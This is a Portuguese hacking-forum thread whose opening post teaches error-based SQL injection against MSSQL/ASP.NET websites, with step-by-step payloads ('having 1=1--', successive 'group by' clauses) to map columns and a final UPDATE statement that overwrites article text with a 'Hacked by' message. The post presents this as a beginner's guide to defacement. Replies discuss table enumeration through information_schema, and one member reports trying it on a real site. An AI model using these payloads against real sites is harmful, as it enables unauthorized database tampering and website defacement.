Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQL Injection em MSSQL Server

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQL Injection em MSSQL Server

    Boa tarde pessoal , como estou com muita boa vontade hoje vou postar um tutorial muito simples de SQL Injection em MSSQL Server, oque quase todos conheçem...

    1 - Oque é SQL Injection?

    SQL Injection é a injeção de códigos SQL no servidor SQL da máquina, sejam eles códigos maliciosos ou não, depende das intenções do atacante, SQL Injection é a consulta ao banco de dados por meio de uma falha nos programas mal escritos do site, que nos acaba levando ao banco de dados.

    2 - Oque é o MSSQL Server?

    MSSQL Server, como o nome diz, é um servidor de SQL, ou seja um banco de dados para simplificar, roda em sistemas da Micro$oft poisé é um produto deles, no seu padrão roda em máquinas WIN utilizando linguagem de programação web ASP.NET, mais pode ser encontrado rodando tbm em outros sistemas como Linux em outras linguagens como PHP, mas vamos trabalhar com ASP.NET e WIN para não complicar muito.

    3 - Descubrindo a Vulnerabilidade:

    Vamos achar um site vulnerável utilizando o serviço de SQL da Microsoft apenas colocando um apóstrofo ('),
    se estiver vulnerável vai retornar algo como ou parecido:

    ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ‘‘.

    podemos ver que está vulnerável!
    agora nos resta explorar.

    4 - Explorando a Vulnerabilidade:

    Agora fassa o seguinte, rode a seguinte sintaxe: having 1=1

    ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... having 1=1--

    irá gerar este erro:

    [Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.id’ is
    invalid in the select list because it is not contained in an aggregate
    function and there is no GROUP BY clause.

    Como vimos no erro gerado, mostrou uma tabela (artigo), e uma coluna (id), que siginifica a id do artigo.
    após isso, continuamos, até chegar em uma coluna importante, que nos chame a atenção, como titulo, texto, imagem, etc.
    Agora usaremos a sintaxe GROUP BY

    ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... group by artigo.id having 1=1--

    [Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.autor’ is
    invalid in the select list because it is not contained in an aggregate
    function and there is no GROUP BY clause.

    Vamos seguindo... afinal, não queremos só editar o "autor".

    ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... group by artigo.id,artigo.autor having 1=1--

    [Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.titulo’ is
    invalid in the select list because it is not contained in an aggregate
    function and there is no GROUP BY clause.

    GET IT! conseguimos achar o titulo do artigo... bom, mais podemos conseguir mais.

    ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... group by artigo.id,artigo.autor,artigo.titulo having 1=1--

    [Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.texto’ is
    invalid in the select list because it is not contained in an aggregate
    function and there is no GROUP BY clause.

    pronto, uma coluna importante, texto... podemos editar agora o texto do artigo... e ver no que da

    ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... update artigo set texto="Hacked by Spy_Unkn0wn"

    Pronto, tutorial básico de SQL Injection em MSSQL Server.

    Espero que tenham gostado, não é grande coisa, mais vi que tem bastante gente que se interessa por deface aqui e não sabe por onde começar, tai ó, um bom começo.
    posteriormente postarei outros tutorials de SQL Injection rodando com outros servidores SQL.


    créditos :spy_unknown
    Reeditado por L.henvy
    Tem Hackers que usam os 10 dedos da mão para digitar, sem desperdiçar o dedão na barra de espaçosigpic
    Similar Threads

  • Font Size
    #2
    Bem explicado, agora basta achar alguma pra treinar-mos.

    Comment


    • Font Size
      #3
      mais como assim onde eu digito isso ?

      Comment


      • Font Size
        #4
        Postado Originalmente por xxmarkinho Ver Post
        mais como assim onde eu digito isso ?
        No proprio navegador.
        Abraço




        "Antes de conseguir você tem que acreditar."

        Comment


        • Font Size
          #5
          Bom o tutorial,
          Valeu (:

          [center]
          Sim! Eu sou um criminoso! E meu crime é o de curiosidade! Meu crime é o de julgar as pessoas pelo que elas falam e pensam e não pela sua aparência. Meu crime é o de ser mais esperto do que vocês, algo pelo que vocês nunca vão me perdoar... Eu sou um hacker, e este é meu manifesto. VocÊs podem até barrar este individuo. Mas você NUNCA vai conseguir acabar com todos nós. Afinal de contas... Somos todos iguais...

          Comment


          • Font Size
            #6
            Tem como pesquisar tabelas também igual ao MySQL? Procurei em varios lugares mas nao achei

            Comment


            • Font Size
              #7
              Desculpem, talves nao tenha sido claro. Sei que tem como utilizar SQL Injection em campos como LOGIN E SENHA.... Mas o que eu queria era conseguir encontrar tabelas atraves do information_schema do SQL na propria barra de endereço. No MySQL já consegui varias vezes, agora com SQL ainda não. Obrigado

              Comment


              • Font Size
                #8
                Foda é achar a vul ;s

                sigpic

                "Conhecimento não é crime, crime é o que você faz com ele."
                "Nunca deixe te dizer que você não é capaz"
                "Vocês podem me acorrentar, torturar e até destruir meu corpo, mas nunca aprisionaram minha mente"




                Full Access Defacer


                e-mail & msn: warlockowned@yahoo.com.br


                Comment


                • Font Size
                  #9
                  l.henvy o texto todo é de autoria minha, sem reedições.
                  dandre, tem sim como pesquisar tabelas, mais não como se estivesse conectado a um servidor MySQL, mais com alguns comandos mesmo de SQL, consultando a tabela tables da db information_schema para saber as tabelas, e information_schema.columns, posteriormente posto um tutorial completamente detalhado de SQL Injection em outros servidores, consultando information_schema

                  abraço

                  Comment


                  • Font Size
                    #10
                    l.henvy o texto é de minha autoria, sem reedições.
                    dandre, da sim, mais ai não como se estivessemos conectados a um servidor MySQL, e sim usaremos alguns comandos SQL, como INSERT, UPDATE, DELETE, WHERE, FROM, entre outros... nesse tipo de ataque usariamos a db information_schema, as tabelas ficam na tabela TABLES do banco de dados information_schema, e as colunas em COLUMNS.
                    Posteriormente, se ouver pedidos, faço um tutorial detalhado sobre SQL Injection Avançado, com comandos SQL diretamente pelo servidor.

                    Comment


                    • Font Size
                      #11
                      faça escrito FASSA

                      é de cair o cu da bunda ein

                      achei um site que dá erro com o '
                      mas quando coloco having 1=1-- não faz nada depois disso

                      Comment

                      X
                      Working...
                      X